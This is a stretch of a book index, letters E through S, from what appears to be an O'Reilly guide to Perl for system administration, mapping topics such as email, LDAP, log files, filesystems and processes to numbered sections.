DTD (Document Type Definition): C.2. XML Is Picky
dynamically linked libraries (DLLs), used by processes: 4.2.2. Using the Win32::IProc Module

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

edquota command (Unix): 2.5.1. Editing Quotas with edquota Trickery
eggdrop bot: 4.3.4. Using the Proc::ProcessTable Module
ElDump program: 9.5.1. Stream Read-Count
electronic mail (see email)
email
as support medium: 8.3.4. Support Mail Augmentation
dissecting mailboxes/messages: 8.3. Receiving Mail
log file parsing: 9.5.3. Black Boxes
relaying: 8.3.3. Tracking Down Spam
sending from Perl: 8.1. Sending Mail
limiting frequncy and amount of: 8.2.1.1. Controlling the frequency of mail
Mac OS: 8.1.2. Using the OS-Specific IPC Framework.
mistakes in: 8.2. Common Mistakes in Sending Email
Windows NT/2000: 8.1.1. Getting sendmail (or Similar Mail Transport Agent)
8.1.2. Using the OS-Specific IPC Framework.
spam (see spam)
subject line of, writing useful: 8.2.2. Subject Line Waste
support mail, augmenting: 8.3.4. Support Mail Augmentation
tool for system administration: 8. Electronic Mail
/etc/hosts: 5.1. Host Files
5.1. Host Files
5.2. NIS, NIS+, and WINS
/etc/passwd: 5.2. NIS, NIS+, and WINS
security and: 10.1.1. Local Filesystem Changes
Eudora program: 8.1.2. Using the OS-Specific IPC Framework.
event handlers: 3.3.1.2. Reading XML using XML::Parser
Event Log Service: 9.2.3. Using the OS's Logging API
Event Viewer program: 9.2.3. Using the OS's Logging API
Extensible Markup Language (see XML)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

FAT filesystems: 2.2.2. Microsoft Windows NT/2000
file operations: 4. User Activity
tracking
Unix: 4.4.2. Tracking Operations in Unix
Windows NT/2000: 4.4.1. Tracking Operations on Windows NT/2000
file shares, managing with ADSI: 6.5.10. Working with File Shares via ADSI
File\:\:Find module: 2.4. Walking the Filesystem Using the File::Find Module
on Mac OS: 2.4. Walking the Filesystem Using the File::Find Module
on Unix: 2.4. Walking the Filesystem Using the File::Find Module
2.4. Walking the Filesystem Using the File::Find Module
on Windows NT: 2.4. Walking the Filesystem Using the File::Find Module
finding hidden directories with: 10.2.1. Local Signs of Peril
when not to use: 2.4. Walking the Filesystem Using the File::Find Module
filenames, long, finding: 2.4. Walking the Filesystem Using the File::Find Module
files
auditing on Windows NT/2000: 4.4.1. Tracking Operations on Windows NT/2000
changes to, detecting: 10.1.1. Local Filesystem Changes
finding
core: 2.3. Walking or Traversing the Filesystem
damaged: 2.1. Perl to the Rescue
2.3. Walking or Traversing the Filesystem
extraneous: 2.4. Walking the Filesystem Using the File::Find Module
Windows NT/2000 hidden: 2.4. Walking the Filesystem Using the File::Find Module
locking: 3.3.4. Account System Wrap-Up
log (see log files)
open, tracking: 4.4.1. Tracking Operations on Windows NT/2000
writing to, security of: 1.6.4. Be Careful When Writing Data
9.4.2.2. Security in log processing programs
File\:\:Spec module: 2.2.5. Dealing with Filesystem Differences from Perl
File\:\:Stat module: 10.1.1. Local Filesystem Changes
Filesys\:\:Df module: 2.6. Querying Filesystem Usage
Filesys\:\:DiskFree module: 2.6. Querying Filesystem Usage
Filesys\:\:DiskSpace module: 2.6. Querying Filesystem Usage
filesystems
Berkeley Fast File System: 2.2.1. Unix
differences between: 2.2. Filesystem Differences
FAT: 2.2.2. Microsoft Windows NT/2000
Mac OS: 2.2.3. MacOS
NTFS: 2.2.2. Microsoft Windows NT/2000
querying usage: 2.6. Querying Filesystem Usage
traversing/walking: 2.3. Walking or Traversing the Filesystem
Mac OS: 2.4. Walking the Filesystem Using the File::Find Module
Unix: 2.3. Walking or Traversing the Filesystem
Windows NT/2000: 2.3. Walking or Traversing the Filesystem
Unix: 2.2.1. Unix
VFAT: 2.2.2. Microsoft Windows NT/2000
Windows NT/2000: 2.2.2. Microsoft Windows NT/2000
finding damaged files on: 2.3. Walking or Traversing the Filesystem
find2perl command: 2.4. Walking the Filesystem Using the File::Find Module
Finger: 6.2. Finger: A Simple Directory Service
fping program: 10.4.1. Perl Saves the Day
FreeTDS libraries: 7.1. Interacting with an SQL Server from Perl
FreezeThaw module: 9.5.4.1. Using Perl-only databases
10.1.2. Network Service Changes
FTP transfers, correlating: 9.5.2. Read-Remember-Process

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G

GCOS field (Unix): 3.1.1. The Classic Unix Password File
GetFileInfo function (MacPerl): 2.4. Walking the Filesystem Using the File::Find Module
Getopt\:\:Std module: 10.1.1. Local Filesystem Changes
GetWindowProperties function (Windows NT/2000): 4.2.3. Using the Win32::Setupsup Module
GID (group ID): 3.1.1. The Classic Unix Password File
GNU RCS 5.7: 5.1.4. Incorporating a Source Code Control System
GO command (SQL): D.1. Creating /Deleting Databases and Tables
group ID (GID): 3.1.1. The Classic Unix Password File
groups, managing with ADSI: 6.5.9. Working with Groups via ADSI

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H

help desk, using email for: 8.3.4. Support Mail Augmentation
HFS (Hierarchical File System): 2.2.3. MacOS
2.2.3. MacOS
home directory field (Unix): 3.1.1. The Classic Unix Password File
host files: 5.1. Host Files
\\\\$systemroot$\\\\system32\\\\drivers\\\\etc\\\\hosts file: 5.1. Host Files
generating from a database: 5.1.1. Generating Host Files
error checking while: 5.1.2. Error Checking the Host File Generation Process
improving output while: 5.1.3. Improving the Host File Output
generating, modules for: 6.4.10. Putting It All Together
Macintosh HD\:System Folder\:Preferences\:hosts: 5.1. Host Files
parsing: 5.1. Host Files
reading from Perl: 5.1. Host Files
source control systems and: 5.1.4. Incorporating a Source Code Control System
Unix: 5.1. Host Files
hostnames, mapping to IP addresses
Unix: 5.1. Host Files
Windows NT: 5.2.2. Windows Internet Name Server ( WINS)
h2xs program: 10.5. Preventing Suspicious Activities

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I

INSERT command (SQL): D.2. Inserting Data into a Table
interface-defined properties: 6.5.1. ADSI Basics
Internet Protocol (see TCP/IP)
Internet Service Providers (ISPs), complaining to: 8.3.3. Tracking Down Spam
InterNIC/Network Solutions WHOIS server, contacting: 6.3. The WHOIS Directory Service
interprocess communication (IPC): 8.1.2. Using the OS-Specific IPC Framework.
IO\:\:Socket module: 8.2.1.2. Controlling the amount of mail
IP addresses: 5. TCP/IP Name Services
5.1. Host Files
(see also host files)
checking to find source of spam: 8.3.3. Tracking Down Spam
contacting owners of: 6.3. The WHOIS Directory Service
looking up: 5.2. NIS, NIS+, and WINS
mapping to names
Unix: 5.1. Host Files
Windows NT: 5.2.2. Windows Internet Name Server ( WINS)
IPC (interprocess communication): 8.1.2. Using the OS-Specific IPC Framework.
IRC bots, finding while running: 4.3.4. Using the Proc::ProcessTable Module
ISPs (Internet Service Providers), complaining to: 8.3.3. Tracking Down Spam
iterative development: 5.3.2. DNS Checking: An Iterative Approach

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J

John the Ripper program: 10.5. Preventing Suspicious Activities

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K

kernel process structures, examining: 4.3.2. Examining the Kernel Process Structures
kill.exe (Windows NT/2000): 4.2.1. Using the Microsoft Resource Kit Binaries

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L

last command (Unix): 9.2.2. Calling an OS (or Someone Else's) Binary
9.5.4.1. Using Perl-only databases
9.5.4.2. Using Perl-cliented SQL databases
LDAP Data Interchange Format (see LDIF)
LDAP entries
attributes
in search operations: 6.4.3. Performing LDAP Searches
6.4.3. Performing LDAP Searches
methods for retrieving: 6.4.4. Entry Representation in Perl
modifying: 6.4.9. Modifying Entry Attributes
separators: 6.4.10. Putting It All Together
values, quoting: 6.4.2. The Initial LDAP Connection
modifying with Perl: 6.4.8. Modifying Entry Names
representation in Perl: 6.4.4. Entry Representation in Perl
LDAP (Lightweight Directory Access Protocol): 6.4. LDAP: A Sophisticated Directory Service
anonymous authentication: 6.4.2. The Initial LDAP Connection
data organization of: B.1. LDAP Data Organization
objectClass attribute: B. The Ten-Minute LDAP Tutorial
Perl modules, comparing: 6.4.1. LDAP Programming with Perl
tutorial: B. The Ten-Minute LDAP Tutorial
LDAP operations
adding/deleting: 6.4.6. Adding Entries with Standard LDAP Operations
binding: 6.4.2. The Initial LDAP Connection
searching: 6.4.3. Performing LDAP Searches
LDIF (LDAP Data Interchange Format): 6.4.3. Performing LDAP Searches
6.4.10. Putting It All Together
reading/writing
directory entries with: 6.4.5. Adding Entries with LDIF
from Perl: 6.4.5. Adding Entries with LDIF
leaf objects (LDAP): 6.5.1. ADSI Basics
6.5.3. Dealing with Container/Collection Objects
libcrack library: 10.5. Preventing Suspicious Activities
libnet package: 8.1.3. Speaking to the Mail Protocols Directly
libpcap library: 10.4.1. Perl Saves the Day
10.4.1. Perl Saves the Day
Lightweight Directory Access Protocol (see LDAP)
LIKE wildcards (SQL): D.3.2. Retrieving a Subset of the Rows in a Table
Linux
directories, hidden: 10.2.1. Local Signs of Peril
driver: 2.1. Perl to the Rescue
NIS+ and: 5.2.1. NIS+
privileges on, dropping: 1.6.2. Drop Your Privileges as Soon as Possible
Sybase OpenClient libraries and: 7.1. Interacting with an SQL Server from Perl
lockfile program: 3.3.4. Account System Wrap-Up
log files: 9. Log Files
analyzing: 9.5. Log Analysis
black box approach: 9.5.3. Black Boxes
database approach: 9.5.4. Using Databases
read-remember-process: 9.5.2. Read-Remember-Process
stream read-count: 9.5.1. Stream Read-Count
binary: 9.2. Binary Log Files
Event Log Service: 9.2.3. Using the OS's Logging API
wtmp: 9.2. Binary Log Files
circular buffering of: 9.4.2. Circular Buffering
disk space problems and: 9.4. Disk Space Problems
mail log data, summarizing: 9.5.3. Black Boxes
rotating: 9.4.1. Log Rotation
security of, when processing: 9.4.2.2. Security in log processing programs
stateful vs. stateless: 9.3. Stateful and Stateless Data
text: 9.1. Text Logs
Logfile\:\:Rotate module: 9.4.1. Log Rotation
L0phtCrack program: 10.5. Preventing Suspicious Activities
lsof program: 4.4.2. Tracking Operations in Unix
lstat() function (Perl): 10.1.1. Local Filesystem Changes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M

Mac OS
email, sending: 8.1.2. Using the OS-Specific IPC Framework.
filesystem: 2.2.3. MacOS
querying usage on: 2.6. Querying Filesystem Usage
traversing/walking: 2.4. Walking the Filesystem Using the File::Find Module
modules for: 1.5. Locating and Installing Modules
installing: 1.5.3. Installing Modules on MacOS
process control: 4.1. MacOS Process Control
reading @ARGV from a dialog: 2.4. Walking the Filesystem Using the File::Find Module
Mac\:\:Apps\:\:Launch module: 4.1. MacOS Process Control
Mac\:\:Glue module: 8.1.2. Using the OS-Specific IPC Framework.
MacPerl Module Porters: 1.5. Locating and Installing Modules
Mac\:\:Processes module: 4.1. MacOS Process Control
Mail Abuse Prevention System Realtime Blackhole List (RBL): 8.3.3.2. Checking against Internet-wide blacklists
mail transport agent (MTA): 8.1.1. Getting sendmail (or Similar Mail Transport Agent)
mailboxes, components of: 8.3.2. Dissecting a Whole Mailbox
Mail\:\:Folder module: 8.3.2. Dissecting a Whole Mailbox
Mail\:\:Header module: 8.3.1. Dissecting a Single Message
8.3.3. Tracking Down Spam
Mail\:\:Internet module: 8.3.1. Dissecting a Single Message
Mail\:\:Mailer module: 8.1.3. Speaking to the Mail Protocols Directly
Mail\:\:POP3Client module: 8.3. Receiving Mail
Mail\:\:Sendmail module: 8.1.3. Speaking to the Mail Protocols Directly
MailTools package: 8.1.3. Speaking to the Mail Protocols Directly
8.1.3. Speaking to the Mail Protocols Directly
Makefile (in /var/yp): 5.2. NIS, NIS+, and WINS
Managed Object Format (MOF): 4.2.4. Using Window Management Instrumentation (WMI)
Management Information Base (see MIB)
manager DN (LDAP): 6.4.2. The Initial LDAP Connection
managing
file shares: 6.5.10. Working with File Shares via ADSI
groups: 6.5.9. Working with Groups via ADSI
printers: 6.5.11. Working with Print Queues and Print Jobs via ADSI
user accounts, scripts for: 3.3.3. The Process Scripts
MAPI (Messaging Application Programming Interface): 8.1.2. Using the OS-Specific IPC Framework.
mapping hostnames to IP addresses: 5.1. Host Files
5.2.2. Windows Internet Name Server ( WINS)
message-digest algorithms: 10.1.1. Local Filesystem Changes
Messaging Application Programming Interface (MAPI): 8.1.2. Using the OS-Specific IPC Framework.
MIB (Management Information Base): 10.3.1. Using SNMP from Perl
10.3.1. Using SNMP from Perl
E. The Twenty-Minute SNMP Tutorial
E.1. SNMP in Practice
E.1. SNMP in Practice
Microsoft SQL Server
communicating with Unix machines: 7.1. Interacting with an SQL Server from Perl
documenting via ODBC module: 7.4.3. MS-SQL Server via ODBC
modules
for log files
Windows NT/2000: 9.2.3. Using the OS's Logging API
analyzing: 9.5.1. Stream Read-Count
rotating: 9.4.1. Log Rotation
choosing: 3.3.2.2. Windows NT/2000 account creation and deletion routines
command-line parsing: 10.1.1. Local Filesystem Changes
comparing: 10.3.1. Using SNMP from Perl
CPAN: 1.5. Locating and Installing Modules
data structures, encoding as strings: 9.5.4.1. Using Perl-only databases
10.1.2. Network Service Changes
databases, documenting: 7.4.1. MySQL Server via DBI
7.4.2. Sybase Server via DBI
date/time, converting to Unix epoch: 9.5.2. Read-Remember-Process
DBI, driver for: 7.1. Interacting with an SQL Server from Perl
7.1. Interacting with an SQL Server from Perl
directories
current working, finding: 2.3. Walking or Traversing the Filesystem
hidden, finding: 10.2.1. Local Signs of Peril
recursive, deleting: 3.3.2.2. Windows NT/2000 account creation and deletion routines
disk quotas, manipulating: 2.5. Manipulating Disk Quotas
DNS, querying from Perl: 5.3.2.3. Using Net::DNS
email
dissecting mailboxes/messages: 8.3. Receiving Mail
filtering addresses: 9.5.3. Black Boxes
sending on Mac OS using AppleEvents: 8.1.2. Using the OS-Specific IPC Framework.
sending on Unix: 8.2.1.2. Controlling the amount of mail
sending on Windows NT: 8.1.2. Using the OS-Specific IPC Framework.
tracking statistics: 9.5.3. Black Boxes
transferring: 8.3. Receiving Mail
event-based: 3.3.1.2. Reading XML using XML::Parser
file operations, tracking on Windows NT/2000: 4.4.1. Tracking Operations on Windows NT/2000
files
detecting changes to: 10.1.1. Local Filesystem Changes
10.1.1. Local Filesystem Changes
10.1.1. Local Filesystem Changes
finding: 2.4. Walking the Filesystem Using the File::Find Module
locking: 3.3.4. Account System Wrap-Up
filesystems
querying usage: 2.6. Querying Filesystem Usage
traversing/walking: 2.4. Walking the Filesystem Using the File::Find Module
Finger operations, performing: 6.2. Finger: A Simple Directory Service
6.2. Finger: A Simple Directory Service
hostname, retrieving: 9.5.4.1. Using Perl-only databases
installing
on Mac OS: 1.5.3. Installing Modules on MacOS
on Unix: 1.5.1. Installing Modules on Unix
on Windows NT/2000: 1.5.2. Installing Modules on Win32
installing software with: 4.2.3. Using the Win32::Setupsup Module
interprocess: 8.1.2. Using the OS-Specific IPC Framework.
8.2.1.2. Controlling the amount of mail
IO\:\:Socket: 8.2.1.2. Controlling the amount of mail
launching processes from: 4.2.2. Using the Win32::IProc Module
LDAP
programming: 6.4.1. LDAP Programming with Perl
providing SSL-encrypted sessions: 6.4.2. The Initial LDAP Connection
locating: 1.5. Locating and Installing Modules
networks
detecting changes to: 10.1.2. Network Service Changes
establishing connection to: 6.2. Finger: A Simple Directory Service
monitoring: 10.3.1. Using SNMP from Perl
scripting communication: 8.1.3. Speaking to the Mail Protocols Directly
testing connectivity to hosts: 10.4.1. Perl Saves the Day
NIS data, getting: 5.2. NIS, NIS+, and WINS
open ports on Windows NT/2000, listing: 4.4.1. Tracking Operations on Windows NT/2000
owner of host, finding: 6.4.10. Putting It All Together
packets, dissecting: 10.4.1. Perl Saves the Day
passwords, reading: 10.5. Preventing Suspicious Activities
pathnames, parsing: 2.4. Walking the Filesystem Using the File::Find Module
process control
on Mac OS: 4.1. MacOS Process Control
on Unix: 4.3.4. Using the Proc::ProcessTable Module
on Windows NT/2000: 4.2.2. Using the Win32::IProc Module
switch processing: 2.5.1. Editing Quotas with edquota Trickery
SYN packets, finding: 10.4.1. Perl Saves the Day
user accounts
adding/removing: 3.3.2.2. Windows NT/2000 account creation and deletion routines
checking: 3.1.1. The Classic Unix Password File
Windows NT/2000, managing: 3.2.1. NT/2000 User Identity Storage and Access
3.2.5. NT/2000 User Rights
for using
ADSI from Perl: 6.5.2. Using ADSI from Perl
Berkeley libraries: 8.3.3.1. Checking against a local blacklist
9.5.4.1. Using Perl-only databases
DBI: 7.2. Using the DBI Framework
ODBC: 7.3. Using the ODBC Framework
sockets: 8.2.1.2. Controlling the amount of mail
WHOIS clients, creating: 6.3. The WHOIS Directory Service
writing your own: 10.5. Preventing Suspicious Activities
XML
debugging output: 3.3.1.2. Reading XML using XML::Parser
reading/writing: 3.3.1.1. Writing XML from Perl
MOF (Managed Object Format): 4.2.4. Using Window Management Instrumentation (WMI)
monitoring
networks
using Perl: 10.4.1. Perl Saves the Day
using SNMP from Perl: 10.3.1. Using SNMP from Perl
security
detecting changes: 10.1. Noticing Unexpected or Unauthorized Changes
suspicious activities: 10.5. Preventing Suspicious Activities
Mozilla\:\:LDAP module: 6.4.1. LDAP Programming with Perl
6.4.2. The Initial LDAP Connection
6.4.5. Adding Entries with LDIF
directory entries
adding/deleting: 6.4.6. Adding Entries with Standard LDAP Operations
modifying: 6.4.8. Modifying Entry Names
searching: 6.4.3. Performing LDAP Searches
generating host file with: 6.4.10. Putting It All Together
msgina.dll file, security and: 10.1.1. Local Filesystem Changes
MTA (mail transport agent): 8.1.1. Getting sendmail (or Similar Mail Transport Agent)
MySQL
database: D. The Fifteen-Minute SQL Tutorial
server, documenting via DBI module: 7.4.1. MySQL Server via DBI

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

name services (see TCP/IP, name services)
namespaces
ADSI: 6.5.1. ADSI Basics
LDAP: 6.5.7. Performing Common Tasks Using the WinNT and LDAP Namespaces
WinNT: 6.5.7. Performing Common Tasks Using the WinNT and LDAP Namespaces
needspace script: 2.4. Walking the Filesystem Using the File::Find Module
2.4. Walking the Filesystem Using the File::Find Module
net command (Windows NT/2000): 3.2.1. NT/2000 User Identity Storage and Access
3.2.1. NT/2000 User Identity Storage and Access
Net\:\:DNS module: 5.3.2.3. Using Net::DNS
10.1.2. Network Service Changes
Net\:\:Finger module: 6.2. Finger: A Simple Directory Service
Net\:\:LDAP module: 6.4.1. LDAP Programming with Perl
6.4.2. The Initial LDAP Connection
6.4.5. Adding Entries with LDIF
directory entries
adding/deleting: 6.4.6. Adding Entries with Standard LDAP Operations
modifying: 6.4.8. Modifying Entry Names
netmail95 program: 8.1.1. Getting sendmail (or Similar Mail Transport Agent)
Net\:\:NIS module: 5.2. NIS, NIS+, and WINS
Net\:\:NISPlus module: 5.2.1. NIS+
NetPacket modules: 10.4.1. Perl Saves the Day
Net\:\:Pcap module: 10.4.1. Perl Saves the Day
Net\:\:PcapUtils module: 10.4.1. Perl Saves the Day
Net\:\:Ping module: 10.4.1. Perl Saves the Day
Net\:\:SMTP module: 8.1.3. Speaking to the Mail Protocols Directly
Net\:\:SNMP module: 10.3.1. Using SNMP from Perl
Net\:\:Telnet module: 6.2. Finger: A Simple Directory Service
8.1.3. Speaking to the Mail Protocols Directly
8.3.3.2. Checking against Internet-wide blacklists
Net\:\:Whois module: 6.3. The WHOIS Directory Service
Network Information Center (NIC): 5.1. Host Files
Network Information Service (see NIS)
network operations, tracking
Unix: 4.4.2. Tracking Operations in Unix
Windows NT/2000: 4.4.1. Tracking Operations on Windows NT/2000
network ports, listing open: 4.4.1. Tracking Operations on Windows NT/2000
networks: 4. User Activity
administering with NIS: 5.2. NIS, NIS+, and WINS
changes to, detecting: 10.1.2. Network Service Changes
directory services and: 6.1. What's a Directory?
monitoring
with Perl: 10.4.1. Perl Saves the Day
using SNMP from Perl: 10.3.1. Using SNMP from Perl
suspicious activities: 10.5. Preventing Suspicious Activities
pinging/sniffing from Perl: 10.4.1. Perl Saves the Day
Net\:\:XWhois module: 6.3. The WHOIS Directory Service
NIC (Network Information Center): 5.1. Host Files
NIS+: 5.2.1. NIS+
5.2.1. NIS+
(see also NIS)
NIS (Network Information Service): 5.2. NIS, NIS+, and WINS
DNS and: 5.3. Domain Name Service (DNS)
querying from Perl: 5.2. NIS, NIS+, and WINS
nslookup program: 5.3.2.1. Using nslookup
ntrights.exe (Windows NT/2000): 3.2.5. NT/2000 User Rights

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

Object Identifier (OID): E. The Twenty-Minute SNMP Tutorial
ODBC Driver Manager: 7.1. Interacting with an SQL Server from Perl
ODBC (Open Database Connectivity): 7.1. Interacting with an SQL Server from Perl
DSN (Data Source Name): 7.3. Using the ODBC Framework
using from Perl: 7.3. Using the ODBC Framework
OID (Object Identifier): E. The Twenty-Minute SNMP Tutorial
Open Database Connectivity (see ODBC)
ORBS (Open Relay Behaviour-Modification System): 8.3.3.2. Checking against Internet-wide blacklists

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

passwd command (Unix): 3.3.2.1. Unix account creation and deletion routines
Passwd\:\:Solaris module: 3.1.4. Shadow Passwords
password field (Unix): 3.1.1. The Classic Unix Password File
password files
BSD 4.4: 3.1.3. Binary Database Format in BSD 4.4
shadow: 3.1.4. Shadow Passwords
Unix: 3.1.1. The Classic Unix Password File
passwords
program for setting/changing: 10.5. Preventing Suspicious Activities
security and: 10.5. Preventing Suspicious Activities
Unix: 3.3.2.1. Unix account creation and deletion routines
Windows NT/2000: 3.2.3. NT/2000 Passwords
PDUs (protocol data units): E. The Twenty-Minute SNMP Tutorial
Perl
advantages/disadvantages of: 1.2. How Perl Can Help
databases
managing logins: 7.5. Database Logins
monitoring from: 7.6. Monitoring Server Health
DBI, using: 7.2. Using the DBI Framework
disk quotas, editing: 2.5.1. Editing Quotas with edquota Trickery
DNS, querying
Net\:\:DNS: 5.3.2.3. Using Net::DNS
nslookup: 5.3.2.1. Using nslookup
raw sockets: 5.3.2.2. Working with raw network sockets
edquota command, calling: 2.5.1. Editing Quotas with edquota Trickery
email
dissecting mailboxes/messages: 8.3.1. Dissecting a Single Message
sending: 8.1. Sending Mail
filesystems, dealing with differences in: 2.2.5. Dealing with Filesystem Differences from Perl
functions, detecting file changes: 10.1.1. Local Filesystem Changes
host files, reading: 5.1. Host Files
LDAP
modifying entries: 6.4.8. Modifying Entry Names
programming: 6.4.1. LDAP Programming with Perl
LDIF, reading/writing: 6.4.5. Adding Entries with LDIF
log files
analyzing: 9.5. Log Analysis
rotating: 9.4.1. Log Rotation
scanning: 9.1. Text Logs
using unpack(): 9.2.1. Using unpack( )
modules (see modules)
networks, pinging/sniffing: 10.4.1. Perl Saves the Day
NIS, querying: 5.2. NIS, NIS+, and WINS
ODBC, using: 7.3. Using the ODBC Framework
repositories: 1.5. Locating and Installing Modules
security of: 1.6. It's Not Easy Being Omnipotent
SNMP, using: 10.3.1. Using SNMP from Perl
spam, finding source of: 8.3.3. Tracking Down Spam
SQL commands, sending: 7.3. Using the ODBC Framework
SQL databases, documenting: 7.4. Server Documentation
SQL Server, interacting with: 7.1. Interacting with an SQL Server from Perl
SYN attacks, detecting: 10.4.1. Perl Saves the Day
system administration, as language for: 1.2. How Perl Can Help
using Finger: 6.2. Finger: A Simple Directory Service
using WHOIS: 6.3. The WHOIS Directory Service
using WMI: 4.2.4. Using Window Management Instrumentation (WMI)
Perl Package Manager (see PPM)
placeholders, DBI: 7.2. Using the DBI Framework
Poison Null Byte exploit: 1.6.3. Be Careful When Reading Data
PPM (Perl Package Manager): 1.5. Locating and Installing Modules
1.5.2. Installing Modules on Win32
printers, managing with ADSI: 6.5.11. Working with Print Queues and Print Jobs via ADSI
privileges: 1.6.2. Drop Your Privileges as Soon as Possible
1.6.2. Drop Your Privileges as Soon as Possible
dropping: 1.6.2. Drop Your Privileges as Soon as Possible
/proc filesystem: 4.3.3. Using the /proc Filesystem
process control
Mac OS: 4.1. MacOS Process Control
Unix: 4.3. Unix Process Control
Windows NT/2000: 4.2. NT/2000 Process Control
process handles: 4.2.2. Using the Win32::IProc Module
processes: 4. User Activity
DLLs used by: 4.2.2. Using the Win32::IProc Module
executables used by: 4.2.2. Using the Win32::IProc Module
killing
Unix: 4.3.4. Using the Proc::ProcessTable Module
Windows NT/2000: 4.2.1. Using the Microsoft Resource Kit Binaries
4.2.3. Using the Win32::Setupsup Module
listing
Mac: 4.1. MacOS Process Control
Unix: 4.3. Unix Process Control
Windows NT/2000: 4.2.1. Using the Microsoft Resource Kit Binaries
4.2.3. Using the Win32::Setupsup Module
windows open, interacting with: 4.2.3. Using the Win32::Setupsup Module
procmail program: 3.3.4. Account System Wrap-Up
Proc\:\:ProcessTable module: 4.3.4. Using the Proc::ProcessTable Module
programming, secure: 1.6. It's Not Easy Being Omnipotent
programs
for setting/changing passwords: 10.5. Preventing Suspicious Activities
password-cracking: 10.5. Preventing Suspicious Activities
properties, interface-/schema-defined: 6.5.1. ADSI Basics
protocol data units (PDUs): E. The Twenty-Minute SNMP Tutorial
providers (ADSI): 6.5.1. ADSI Basics
ps program (Unix): 4.3.1. Calling an External Program
pulist.exe (Windows NT/2000): 4.2.1. Using the Microsoft Resource Kit Binaries
pwd_mkdb command (BSD 4.4): 3.1.3. Binary Database Format in BSD 4.4

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q

qmail program: 8.3.2. Dissecting a Whole Mailbox
QuitApps function (Mac OS): 4.1. MacOS Process Control
quota command: 2.5. Manipulating Disk Quotas
Quota module: 2.5.2. Editing Quotas Using the Quota Module
quotas, disk (see disks, full)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

race conditions, avoiding: 1.6.5. Avoid Race Conditions
RBL (Mail Abuse Prevention System Realtime Blackhole List): 8.3.3.2. Checking against Internet-wide blacklists
Rcs module: 5.1.4. Incorporating a Source Code Control System
RCS (Revision Control System): 5.1.4. Incorporating a Source Code Control System
commands: A. The Five-Minute RCS Tutorial
GNU RCS 5.7: 5.1.4. Incorporating a Source Code Control System
keywords: 5.1.4. Incorporating a Source Code Control System
tutorial: A. The Five-Minute RCS Tutorial
rcsdiff command (Unix): 5.1.4. Incorporating a Source Code Control System
A. The Five-Minute RCS Tutorial
RDN (Relative Distinguished Name): B.1. LDAP Data Organization
recursion, using: 2.3. Walking or Traversing the Filesystem
regular expressions: 9.5.2. Read-Remember-Process
security and: 10.2.1. Local Signs of Peril
Relative Distinguished Name (RDN): B.1. LDAP Data Organization
relative identifier (RID): 3.2.2. NT/2000 User ID Numbers
3.2.2. NT/2000 User ID Numbers
(see also users, identity of, Windows NT/2000)
relaying email: 8.3.3. Tracking Down Spam
repositories for prebuilt packages: 1.5. Locating and Installing Modules
Revision Control System (see RCS)
RID (relative identifier): 3.2.2. NT/2000 User ID Numbers
3.2.2. NT/2000 User ID Numbers
(see also users, identity of, Windows NT/2000)
root directories on FAT filesystems: 2.2.2. Microsoft Windows NT/2000
RunAs feature (Windows 2000): 1.6.2. Drop Your Privileges as Soon as Possible

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

SAM (Security Accounts Manager): 3.2.1. NT/2000 User Identity Storage and Access
SASL (Simple Authentication and Security Layer): 6.4.2. The Initial LDAP Connection
schema-defined properties: 6.5.1. ADSI Basics
6.5.5. So How Do You Know Anything About an Object?
6.5.5. So How Do You Know Anything About an Object?
scopes of searches: 6.4.3. Performing LDAP Searches
scripts: 7.8.1. SQL
(see also Perl)
for sending email: 8.2.1. Overzealous Message Sending
message body of: 8.2.3. Insufficient Information in the Message Body
for user administration processes: 3.3.3. The Process Scripts
